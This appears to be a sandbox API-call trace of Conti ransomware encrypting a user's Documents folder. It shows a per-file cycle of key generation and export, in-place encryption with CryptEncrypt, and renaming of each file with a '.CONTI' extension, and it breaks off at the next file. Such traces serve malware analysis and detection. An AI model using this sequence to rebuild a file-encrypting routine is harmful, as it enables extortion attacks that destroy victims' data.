	[0139.591] WriteFile (in: hFile=0x424, lpBuffer=0xdf60000*, nNumberOfBytesToWrite=0xeed0, lpNumberOfBytesWritten=0x4d3feb0, lpOverlapped=0x0 | out: lpBuffer=0xdf60000*, lpNumberOfBytesWritten=0x4d3feb0*=0xeed0, lpOverlapped=0x0) returned 1
	[0139.592] SetFilePointerEx (in: hFile=0x424, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0139.592] WriteFile (in: hFile=0x424, lpBuffer=0x6b4e970*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4d3fec8, lpOverlapped=0x0 | out: lpBuffer=0x6b4e970*, lpNumberOfBytesWritten=0x4d3fec8*=0x8, lpOverlapped=0x0) returned 1
	[0139.592] SetFilePointer (in: hFile=0x424, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0139.592] CloseHandle (hObject=0x424) returned 1
	[0139.592] GetProcessHeap () returned 0x1720000
	[0139.592] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0139.603] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\Users\\FD1HVy\\Documents\\k09l9lTE3jUD.pptx" | out: lpString1="C:\\Users\\FD1HVy\\Documents\\k09l9lTE3jUD.pptx") returned="C:\\Users\\FD1HVy\\Documents\\k09l9lTE3jUD.pptx"
	[0139.603] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Documents\\k09l9lTE3jUD.pptx", lpString2=".CONTI" | out: lpString1="C:\\Users\\FD1HVy\\Documents\\k09l9lTE3jUD.pptx.CONTI") returned="C:\\Users\\FD1HVy\\Documents\\k09l9lTE3jUD.pptx.CONTI"
	[0139.603] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\k09l9lTE3jUD.pptx" (normalized: "c:\\users\\fd1hvy\\documents\\k09l9lte3jud.pptx"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\k09l9lTE3jUD.pptx.CONTI" (normalized: "c:\\users\\fd1hvy\\documents\\k09l9lte3jud.pptx.conti")) returned 1
	[0139.604] GetProcessHeap () returned 0x1720000
	[0139.604] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0139.604] CryptDestroyKey (hKey=0x6b7f378) returned 1
	[0139.604] GetProcessHeap () returned 0x1720000
	[0139.604] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1741040 | out: hHeap=0x1720000) returned 1
	[0139.604] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4d3feec, lpCompletionKey=0x4d3fef0, lpOverlapped=0x4d3fefc, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4d3feec, lpCompletionKey=0x4d3fef0, lpOverlapped=0x4d3fefc) returned 1
	[0139.604] CryptGenKey (in: hProv=0x176c128, Algid=0x6610, dwFlags=0x1, phKey=0x6b51288 | out: phKey=0x6b51288*=0x6b7f378) returned 1
	[0139.604] CryptExportKey (in: hKey=0x6b7f378, hExpKey=0x175dc70, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b5128c, pdwDataLen=0x4d3fec4 | out: pbData=0x6b5128c*, pdwDataLen=0x4d3fec4*=0x20c) returned 1
	[0139.605] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\mQL4Dl-I.docx" (normalized: "c:\\users\\fd1hvy\\documents\\mql4dl-i.docx")) returned 0x20
	[0139.605] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\mQL4Dl-I.docx" (normalized: "c:\\users\\fd1hvy\\documents\\mql4dl-i.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x448
	[0139.606] GetLastError () returned 0x0
	[0139.606] GetFileSizeEx (in: hFile=0x448, lpFileSize=0x4d3fe70 | out: lpFileSize=0x4d3fe70*=45317) returned 1
	[0139.606] SetFilePointer (in: hFile=0x448, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xb105
	[0139.606] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0x22f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0139.606] SetEndOfFile (hFile=0x448) returned 1
	[0139.606] SetFilePointer (in: hFile=0x448, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0139.606] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0139.606] WriteFile (in: hFile=0x448, lpBuffer=0x6b5128c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4d3fe7c, lpOverlapped=0x0 | out: lpBuffer=0x6b5128c*, lpNumberOfBytesWritten=0x4d3fe7c*=0x20c, lpOverlapped=0x0) returned 1
	[0139.612] SetFilePointer (in: hFile=0x448, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0139.612] ReadFile (in: hFile=0x448, lpBuffer=0xdf60000, nNumberOfBytesToRead=0xb105, lpNumberOfBytesRead=0x4d3fe9c, lpOverlapped=0x0 | out: lpBuffer=0xdf60000*, lpNumberOfBytesRead=0x4d3fe9c*=0xb105, lpOverlapped=0x0) returned 1
	[0139.613] CryptEncrypt (in: hKey=0x6b7f378, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xdf60000*, pdwDataLen=0x4d3fe94*=0xb105, dwBufLen=0x500000 | out: pbData=0xdf60000*, pdwDataLen=0x4d3fe94*=0xb110) returned 1
	[0139.613] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0139.613] WriteFile (in: hFile=0x448, lpBuffer=0xdf60000*, nNumberOfBytesToWrite=0xb110, lpNumberOfBytesWritten=0x4d3feb0, lpOverlapped=0x0 | out: lpBuffer=0xdf60000*, lpNumberOfBytesWritten=0x4d3feb0*=0xb110, lpOverlapped=0x0) returned 1
	[0139.614] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0139.614] WriteFile (in: hFile=0x448, lpBuffer=0x6b51280*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4d3fec8, lpOverlapped=0x0 | out: lpBuffer=0x6b51280*, lpNumberOfBytesWritten=0x4d3fec8*=0x8, lpOverlapped=0x0) returned 1
	[0139.614] SetFilePointer (in: hFile=0x448, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0139.614] CloseHandle (hObject=0x448) returned 1
	[0139.614] GetProcessHeap () returned 0x1720000
	[0139.614] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0139.614] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\Users\\FD1HVy\\Documents\\mQL4Dl-I.docx" | out: lpString1="C:\\Users\\FD1HVy\\Documents\\mQL4Dl-I.docx") returned="C:\\Users\\FD1HVy\\Documents\\mQL4Dl-I.docx"
	[0139.614] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Documents\\mQL4Dl-I.docx", lpString2=".CONTI" | out: lpString1="C:\\Users\\FD1HVy\\Documents\\mQL4Dl-I.docx.CONTI") returned="C:\\Users\\FD1HVy\\Documents\\mQL4Dl-I.docx.CONTI"
	[0139.614] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\mQL4Dl-I.docx" (normalized: "c:\\users\\fd1hvy\\documents\\mql4dl-i.docx"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\mQL4Dl-I.docx.CONTI" (normalized: "c:\\users\\fd1hvy\\documents\\mql4dl-i.docx.conti")) returned 1
	[0139.614] GetProcessHeap () returned 0x1720000
	[0139.615] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0139.615] CryptDestroyKey (hKey=0x6b7f378) returned 1
	[0139.615] GetProcessHeap () returned 0x1720000
	[0139.615] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17bf338 | out: hHeap=0x1720000) returned 1
	[0139.615] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4d3feec, lpCompletionKey=0x4d3fef0, lpOverlapped=0x4d3fefc, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4d3feec, lpCompletionKey=0x4d3fef0, lpOverlapped=0x4d3fefc) returned 1
	[0139.615] CryptGenKey (in: hProv=0x176c128, Algid=0x6610, dwFlags=0x1, phKey=0x6b4d4f0 | out: phKey=0x6b4d4f0*=0x6b7f378) returned 1
	[0139.615] CryptExportKey (in: hKey=0x6b7f378, hExpKey=0x175dc70, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b4d4f4, pdwDataLen=0x4d3fec4 | out: pbData=0x6b4d4f4*, pdwDataLen=0x4d3fec4*=0x20c) returned 1
	[0139.615] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\My Shapes\\desktop.ini" (normalized: "c:\\users\\fd1hvy\\documents\\my shapes\\desktop.ini")) returned 0x2
	[0139.616] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\My Shapes\\desktop.ini" (normalized: "c:\\users\\fd1hvy\\documents\\my shapes\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x448
	[0139.616] GetLastError () returned 0x0
	[0139.616] GetFileSizeEx (in: hFile=0x448, lpFileSize=0x4d3fe70 | out: lpFileSize=0x4d3fe70*=216) returned 1
	[0139.616] SetFilePointer (in: hFile=0x448, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xd8
	[0139.616] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0x22c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0139.616] SetEndOfFile (hFile=0x448) returned 1
	[0139.623] SetFilePointer (in: hFile=0x448, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0139.623] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0139.623] WriteFile (in: hFile=0x448, lpBuffer=0x6b4d4f4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4d3fe7c, lpOverlapped=0x0 | out: lpBuffer=0x6b4d4f4*, lpNumberOfBytesWritten=0x4d3fe7c*=0x20c, lpOverlapped=0x0) returned 1
	[0139.626] SetFilePointer (in: hFile=0x448, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0139.626] ReadFile (in: hFile=0x448, lpBuffer=0xdf60000, nNumberOfBytesToRead=0xd8, lpNumberOfBytesRead=0x4d3fe9c, lpOverlapped=0x0 | out: lpBuffer=0xdf60000*, lpNumberOfBytesRead=0x4d3fe9c*=0xd8, lpOverlapped=0x0) returned 1
	[0139.626] CryptEncrypt (in: hKey=0x6b7f378, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xdf60000*, pdwDataLen=0x4d3fe94*=0xd8, dwBufLen=0x500000 | out: pbData=0xdf60000*, pdwDataLen=0x4d3fe94*=0xe0) returned 1
	[0139.626] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0139.626] WriteFile (in: hFile=0x448, lpBuffer=0xdf60000*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x4d3feb0, lpOverlapped=0x0 | out: lpBuffer=0xdf60000*, lpNumberOfBytesWritten=0x4d3feb0*=0xe0, lpOverlapped=0x0) returned 1
	[0139.626] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0139.626] WriteFile (in: hFile=0x448, lpBuffer=0x6b4d4e8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4d3fec8, lpOverlapped=0x0 | out: lpBuffer=0x6b4d4e8*, lpNumberOfBytesWritten=0x4d3fec8*=0x8, lpOverlapped=0x0) returned 1
	[0139.626] SetFilePointer (in: hFile=0x448, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0139.626] CloseHandle (hObject=0x448) returned 1
	[0139.626] GetProcessHeap () returned 0x1720000
	[0139.626] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0139.626] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\Users\\FD1HVy\\Documents\\My Shapes\\desktop.ini" | out: lpString1="C:\\Users\\FD1HVy\\Documents\\My Shapes\\desktop.ini") returned="C:\\Users\\FD1HVy\\Documents\\My Shapes\\desktop.ini"
	[0139.626] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Documents\\My Shapes\\desktop.ini", lpString2=".CONTI" | out: lpString1="C:\\Users\\FD1HVy\\Documents\\My Shapes\\desktop.ini.CONTI") returned="C:\\Users\\FD1HVy\\Documents\\My Shapes\\desktop.ini.CONTI"
	[0139.626] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\My Shapes\\desktop.ini" (normalized: "c:\\users\\fd1hvy\\documents\\my shapes\\desktop.ini"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\My Shapes\\desktop.ini.CONTI" (normalized: "c:\\users\\fd1hvy\\documents\\my shapes\\desktop.ini.conti")) returned 1
	[0139.627] GetProcessHeap () returned 0x1720000
	[0139.627] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0139.627] CryptDestroyKey (hKey=0x6b7f378) returned 1
	[0139.627] GetProcessHeap () returned 0x1720000
	[0139.627] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65cbc28 | out: hHeap=0x1720000) returned 1
	[0139.627] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4d3feec, lpCompletionKey=0x4d3fef0, lpOverlapped=0x4d3fefc, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4d3feec, lpCompletionKey=0x4d3fef0, lpOverlapped=0x4d3fefc) returned 1
	[0139.627] CryptGenKey (in: hProv=0x176c128, Algid=0x6610, dwFlags=0x1, phKey=0x6b4f970 | out: phKey=0x6b4f970*=0x6b7f378) returned 1
	[0139.627] CryptExportKey (in: hKey=0x6b7f378, hExpKey=0x175dc70, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b4f974, pdwDataLen=0x4d3fec4 | out: pbData=0x6b4f974*, pdwDataLen=0x4d3fec4*=0x20c) returned 1
	[0139.628] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\nKWi6a_McmBaYtU\\-5yfo.odp" (normalized: "c:\\users\\fd1hvy\\documents\\nkwi6a_mcmbaytu\\-5yfo.odp")) returned 0x20
	[0139.628] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\nKWi6a_McmBaYtU\\-5yfo.odp" (normalized: "c:\\users\\fd1hvy\\documents\\nkwi6a_mcmbaytu\\-5yfo.odp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x448
	[0139.628] GetLastError () returned 0x0
	[0139.628] GetFileSizeEx (in: hFile=0x448, lpFileSize=0x4d3fe70 | out: lpFileSize=0x4d3fe70*=83843) returned 1
	[0139.628] SetFilePointer (in: hFile=0x448, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x14783
	[0139.629] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0x231, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0139.629] SetEndOfFile (hFile=0x448) returned 1
	[0139.629] SetFilePointer (in: hFile=0x448, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0139.629] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0139.629] WriteFile (in: hFile=0x448, lpBuffer=0x6b4f974*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4d3fe7c, lpOverlapped=0x0 | out: lpBuffer=0x6b4f974*, lpNumberOfBytesWritten=0x4d3fe7c*=0x20c, lpOverlapped=0x0) returned 1
	[0139.635] SetFilePointer (in: hFile=0x448, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0139.635] ReadFile (in: hFile=0x448, lpBuffer=0xdf60000, nNumberOfBytesToRead=0x14783, lpNumberOfBytesRead=0x4d3fe9c, lpOverlapped=0x0 | out: lpBuffer=0xdf60000*, lpNumberOfBytesRead=0x4d3fe9c*=0x14783, lpOverlapped=0x0) returned 1
	[0139.636] CryptEncrypt (in: hKey=0x6b7f378, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xdf60000*, pdwDataLen=0x4d3fe94*=0x14783, dwBufLen=0x500000 | out: pbData=0xdf60000*, pdwDataLen=0x4d3fe94*=0x14790) returned 1
	[0139.636] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0139.636] WriteFile (in: hFile=0x448, lpBuffer=0xdf60000*, nNumberOfBytesToWrite=0x14790, lpNumberOfBytesWritten=0x4d3feb0, lpOverlapped=0x0 | out: lpBuffer=0xdf60000*, lpNumberOfBytesWritten=0x4d3feb0*=0x14790, lpOverlapped=0x0) returned 1
	[0139.637] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0139.637] WriteFile (in: hFile=0x448, lpBuffer=0x6b4f968*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4d3fec8, lpOverlapped=0x0 | out: lpBuffer=0x6b4f968*, lpNumberOfBytesWritten=0x4d3fec8*=0x8, lpOverlapped=0x0) returned 1
	[0139.637] SetFilePointer (in: hFile=0x448, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0139.637] CloseHandle (hObject=0x448) returned 1
	[0139.637] GetProcessHeap () returned 0x1720000
	[0139.637] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0139.637] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\Users\\FD1HVy\\Documents\\nKWi6a_McmBaYtU\\-5yfo.odp" | out: lpString1="C:\\Users\\FD1HVy\\Documents\\nKWi6a_McmBaYtU\\-5yfo.odp") returned="C:\\Users\\FD1HVy\\Documents\\nKWi6a_McmBaYtU\\-5yfo.odp"
	[0139.637] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Documents\\nKWi6a_McmBaYtU\\-5yfo.odp", lpString2=".CONTI" | out: lpString1="C:\\Users\\FD1HVy\\Documents\\nKWi6a_McmBaYtU\\-5yfo.odp.CONTI") returned="C:\\Users\\FD1HVy\\Documents\\nKWi6a_McmBaYtU\\-5yfo.odp.CONTI"
	[0139.637] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\nKWi6a_McmBaYtU\\-5yfo.odp" (normalized: "c:\\users\\fd1hvy\\documents\\nkwi6a_mcmbaytu\\-5yfo.odp"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\nKWi6a_McmBaYtU\\-5yfo.odp.CONTI" (normalized: "c:\\users\\fd1hvy\\documents\\nkwi6a_mcmbaytu\\-5yfo.odp.conti")) returned 1
	[0139.638] GetProcessHeap () returned 0x1720000
	[0139.638] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0139.638] CryptDestroyKey (hKey=0x6b7f378) returned 1
	[0139.638] GetProcessHeap () returned 0x1720000
	[0139.638] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65ded10 | out: hHeap=0x1720000) returned 1
	[0139.638] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4d3feec, lpCompletionKey=0x4d3fef0, lpOverlapped=0x4d3fefc, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4d3feec, lpCompletionKey=0x4d3fef0, lpOverlapped=0x4d3fefc) returned 1
	[0139.638] CryptGenKey (in: hProv=0x176c128, Algid=0x6610, dwFlags=0x1, phKey=0x6b4d980 | out: phKey=0x6b4d980*=0x6b7f378) returned 1
	[0139.638] CryptExportKey (in: hKey=0x6b7f378, hExpKey=0x175dc70, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b4d984, pdwDataLen=0x4d3fec4 | out: pbData=0x6b4d984*, pdwDataLen=0x4d3fec4*=0x20c) returned 1
	[0139.638] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\nKWi6a_McmBaYtU\\D_VvmuXcPAyY.rtf" (normalized: "c:\\users\\fd1hvy\\documents\\nkwi6a_mcmbaytu\\d_vvmuxcpayy.rtf")) returned 0x20
	[0139.639] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\nKWi6a_McmBaYtU\\D_VvmuXcPAyY.rtf" (normalized: "c:\\users\\fd1hvy\\documents\\nkwi6a_mcmbaytu\\d_vvmuxcpayy.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x448
	[0139.640] GetLastError () returned 0x0
	[0139.640] GetFileSizeEx (in: hFile=0x448, lpFileSize=0x4d3fe70 | out: lpFileSize=0x4d3fe70*=78199) returned 1
	[0139.640] SetFilePointer (in: hFile=0x448, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x13177
	[0139.640] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0x22d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0139.640] SetEndOfFile (hFile=0x448) returned 1
	[0139.640] SetFilePointer (in: hFile=0x448, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0139.640] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0139.640] WriteFile (in: hFile=0x448, lpBuffer=0x6b4d984*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4d3fe7c, lpOverlapped=0x0 | out: lpBuffer=0x6b4d984*, lpNumberOfBytesWritten=0x4d3fe7c*=0x20c, lpOverlapped=0x0) returned 1
	[0139.646] SetFilePointer (in: hFile=0x448, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0139.646] ReadFile (in: hFile=0x448, lpBuffer=0xdf60000, nNumberOfBytesToRead=0x13177, lpNumberOfBytesRead=0x4d3fe9c, lpOverlapped=0x0 | out: lpBuffer=0xdf60000*, lpNumberOfBytesRead=0x4d3fe9c*=0x13177, lpOverlapped=0x0) returned 1
	[0139.648] CryptEncrypt (in: hKey=0x6b7f378, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xdf60000*, pdwDataLen=0x4d3fe94*=0x13177, dwBufLen=0x500000 | out: pbData=0xdf60000*, pdwDataLen=0x4d3fe94*=0x13180) returned 1
	[0139.648] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0139.648] WriteFile (in: hFile=0x448, lpBuffer=0xdf60000*, nNumberOfBytesToWrite=0x13180, lpNumberOfBytesWritten=0x4d3feb0, lpOverlapped=0x0 | out: lpBuffer=0xdf60000*, lpNumberOfBytesWritten=0x4d3feb0*=0x13180, lpOverlapped=0x0) returned 1
	[0139.648] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0139.648] WriteFile (in: hFile=0x448, lpBuffer=0x6b4d978*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4d3fec8, lpOverlapped=0x0 | out: lpBuffer=0x6b4d978*, lpNumberOfBytesWritten=0x4d3fec8*=0x8, lpOverlapped=0x0) returned 1
	[0139.649] SetFilePointer (in: hFile=0x448, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0139.649] CloseHandle (hObject=0x448) returned 1
	[0139.649] GetProcessHeap () returned 0x1720000
	[0139.649] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0139.649] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\Users\\FD1HVy\\Documents\\nKWi6a_McmBaYtU\\D_VvmuXcPAyY.rtf" | out: lpString1="C:\\Users\\FD1HVy\\Documents\\nKWi6a_McmBaYtU\\D_VvmuXcPAyY.rtf") returned="C:\\Users\\FD1HVy\\Documents\\nKWi6a_McmBaYtU\\D_VvmuXcPAyY.rtf"
	[0139.649] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Documents\\nKWi6a_McmBaYtU\\D_VvmuXcPAyY.rtf", lpString2=".CONTI" | out: lpString1="C:\\Users\\FD1HVy\\Documents\\nKWi6a_McmBaYtU\\D_VvmuXcPAyY.rtf.CONTI") returned="C:\\Users\\FD1HVy\\Documents\\nKWi6a_McmBaYtU\\D_VvmuXcPAyY.rtf.CONTI"
	[0139.649] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\nKWi6a_McmBaYtU\\D_VvmuXcPAyY.rtf" (normalized: "c:\\users\\fd1hvy\\documents\\nkwi6a_mcmbaytu\\d_vvmuxcpayy.rtf"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\nKWi6a_McmBaYtU\\D_VvmuXcPAyY.rtf.CONTI" (normalized: "c:\\users\\fd1hvy\\documents\\nkwi6a_mcmbaytu\\d_vvmuxcpayy.rtf.conti")) returned 1
	[0139.649] GetProcessHeap () returned 0x1720000
	[0139.649] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0139.649] CryptDestroyKey (hKey=0x6b7f378) returned 1
	[0139.649] GetProcessHeap () returned 0x1720000
	[0139.649] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b7adc0 | out: hHeap=0x1720000) returned 1
	[0139.649] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4d3feec, lpCompletionKey=0x4d3fef0, lpOverlapped=0x4d3fefc, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4d3feec, lpCompletionKey=0x4d3fef0, lpOverlapped=0x4d3fefc) returned 1
	[0139.650] CryptGenKey (in: hProv=0x176c128, Algid=0x6610, dwFlags=0x1, phKey=0x6b50290 | out: phKey=0x6b50290*=0x6b7f378) returned 1
	[0139.650] CryptExportKey (in: hKey=0x6b7f378, hExpKey=0x175dc70, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b50294, pdwDataLen=0x4d3fec4 | out: pbData=0x6b50294*, pdwDataLen=0x4d3fec4*=0x20c) returned 1
	[0139.650] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\nKWi6a_McmBaYtU\\SUHCWW_epiNonU.odt" (normalized: "c:\\users\\fd1hvy\\documents\\nkwi6a_mcmbaytu\\suhcww_epinonu.odt")) returned 0x20
